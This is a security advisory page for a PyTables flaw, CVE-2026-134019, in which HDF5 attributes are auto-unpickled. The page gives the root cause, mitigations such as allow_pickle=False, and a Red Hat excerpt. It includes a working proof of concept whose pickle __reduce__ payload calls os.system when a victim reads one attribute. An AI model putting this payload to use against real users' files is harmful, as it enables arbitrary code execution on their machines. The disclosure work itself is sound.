CVE-2026-134019 is a critical-severity (CVSS 9.8) Deserialization of Untrusted Data vulnerability in tables. The records list no fixed version yet; check the vendor advisory below and apply the mitigations in the meantime.
PyTables: Remote code execution via auto-unpickled HDF5 attributes
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
tablesReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
PyTables stores non-primitive Python objects as pickled HDF5 attributes and, on read, auto-unpickles them using a heuristic (a numpy.bytes_ scalar whose value ends in b'.' is treated as a pickle) with no allowlist and no safe unpickler. As a result, merely opening a malicious .h5 file and reading a metadata attribute can execute attacker-controlled code. HDF5 is widely perceived as a safe, code-free data format (like .npy / Parquet), so consumers do not expect that reading metadata runs code.
Affected
tables (PyTables) <= 3.12. pandas.read_hdf() builds on PyTables and reads node attributes, widening reach. v3.12 keeps automatic unpickling enabled by default for compatibility; see the workaround below.
Root cause (tables/attributeset.py)
maybe_pickledheuristic (~lines 326-330): anynp.bytes_attribute ending inb'.'is assumed to be a pickle.pickle.loads(value)at ~lines 345 / 358 / 361 / 374 / 377, reached fromAttributeSet.__getattr__(~308) andAttributeSet.__getitem__(~592).
Until v3.12 there was no opt-out. v3.12 adds allow_pickle=False / ALLOW_PICKLE = False, but automatic unpickling remains enabled by default.
Proof of Concept (verified on tables==3.11.1, Python 3.12)
attacker.py (crafts the file; executes nothing):
import sys, os, tables
class Exploit:
def __reduce__(self):
return (os.system, ("touch " + sys.argv[1],))
f = tables.open_file("malicious.h5", mode="w")
f.root._v_attrs.description = Exploit() # pickled into an HDF5 attribute
f.close()
victim.py (stock PyTables; opens the untrusted file and reads one attribute):
import tables
f = tables.open_file("malicious.h5", mode="r")
desc = f.root._v_attrs.description # triggers pickle.loads()
f.close()
Run:
python3 attacker.py "$PWD/SENTINEL" # no SENTINEL yet
python3 victim.py # SENTINEL created => code execution
Observed: after crafting, no sentinel; after the victim reads one attribute, the sentinel file is created. pip-audit on 3.11.1 reported no known vulnerabilities. The stored pickle references posix.system (os.system), so the payload is portable and needs none of the attacker's classes on the victim side.
Attachments:
Impact
Opening or reading an untrusted .h5 file (a routine operation, for example in data pipelines, ML services, notebooks, or via pandas.read_hdf) results in arbitrary code execution.
Workaround / Mitigation (v3.12)
v3.12 still unpickles automatically by default. For untrusted files, disable it per file:
import tables
with tables.open_file("untrusted.h5", allow_pickle=False) as h5file:
...
or globally for newly opened files:
import tables
tables.parameters.ALLOW_PICKLE = False
The same per-file option can be passed through pandas as pandas.read_hdf(..., allow_pickle=False) or pandas.HDFStore(..., allow_pickle=False).
ptdump keeps unpickling disabled unless --allow-pickle is given.
Prior art / precedent
This mirrors numpy CVE-2019-6446 (silent pickle-on-np.load was accepted as a vulnerability; numpy switched allow_pickle to default False). The trigger here is very broad (any byte attribute ending in '.'), and attributes are ubiquitous metadata.
Suggested fix
v3.12 adds an explicit per-file and global opt-out (allow_pickle=False / ALLOW_PICKLE = False) and a warning when serializing pickle data. Automatic unpickling remains enabled by default for compatibility, and is expected to be disabled by default in v3.13.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | tables | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for tables, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
The records we use list no patched version of tables for CVE-2026-134019. Check the maintainer's advisory, and where your build allows, override or pin the dependency away from the vulnerable range.
Mitigate without a patch
Do not deserialise data from untrusted sources: where the format allows it, restrict deserialisation to an explicit allowlist of expected types, and prefer a data-only format (JSON, Protobuf) over one that can reconstruct arbitrary objects until you can upgrade.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
This vulnerability is rated Important rather than Critical because exploitation requires a user or automation to open and read attributes from an attacker-supplied HDF5 file (user interaction). Red Hat ships python-tables in Fedora/EPEL; OpenStack 13 also carries the package and is out of support support for this…
Do not open untrusted HDF5 files with PyTables, and avoid reading untrusted attribute metadata. Apply upstream fixes when a release newer than 3.11.1 is available. Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.Source: Red Hat security advisory for CVE-2026-134019 (CC BY 4.0)
Frequently Asked Questions
Is CVE-2026-134019 in your dependencies?
Find it across PyPI, including transitive dependencies.